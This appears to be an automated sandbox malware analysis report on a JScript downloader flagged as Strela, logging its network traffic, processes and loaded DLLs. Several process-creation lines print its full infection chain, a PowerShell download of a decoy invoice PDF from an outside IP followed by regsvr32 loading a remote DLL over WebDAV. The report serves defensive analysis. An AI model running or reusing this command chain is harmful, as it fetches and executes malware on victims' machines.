Source: global traffic

TCP traffic: 192.168.2.5:49705 -> 193.143.1.205:8888

Source: Joe Sandbox View	IP Address: 193.143.1.205 193.143.1.205
Source: Joe Sandbox View	IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.5:49704 -> 193.143.1.205:80

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000000.00000002.2118922945.0000015E4E036000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000007.00000002.2177212931.000001C595E38000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.2174680060.000001C595E5A000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2177133726.000001C595E08000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.2175904749.000001C595E38000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000007.00000002.2177212931.000001C595E38000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.2175904749.000001C595E38000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/$y
Source: net.exe, 00000007.00000002.2177133726.000001C595E08000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/pace
Source: net.exe, 00000007.00000002.2177212931.000001C595E38000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.2175904749.000001C595E38000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/ty
Source: svchost.exe, 00000009.00000002.3411382454.0000020E7EC00000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: 77EC63BDA74BD0D0E0426DC8F80085060.8.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: qmgr.db.9.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.8.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod/C:
Source: svchost.exe, 00000009.00000003.2178288042.0000020E7E9F0000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2.C:
Source: qmgr.db.9.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Prod/21.220.1024.0005/OneDriveSetup.exe/C:

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 5464, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\26533108920286.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\26533108920286.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 11248212732259326130.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@27/57@1/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2804:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_avfwarnd.dt0.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\11248212732259326130.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\26533108920286.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2128 --field-trial-handle=1620,i,12721182879872049858,961779255223056025,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\26533108920286.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2128 --field-trial-handle=1620,i,12721182879872049858,961779255223056025,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
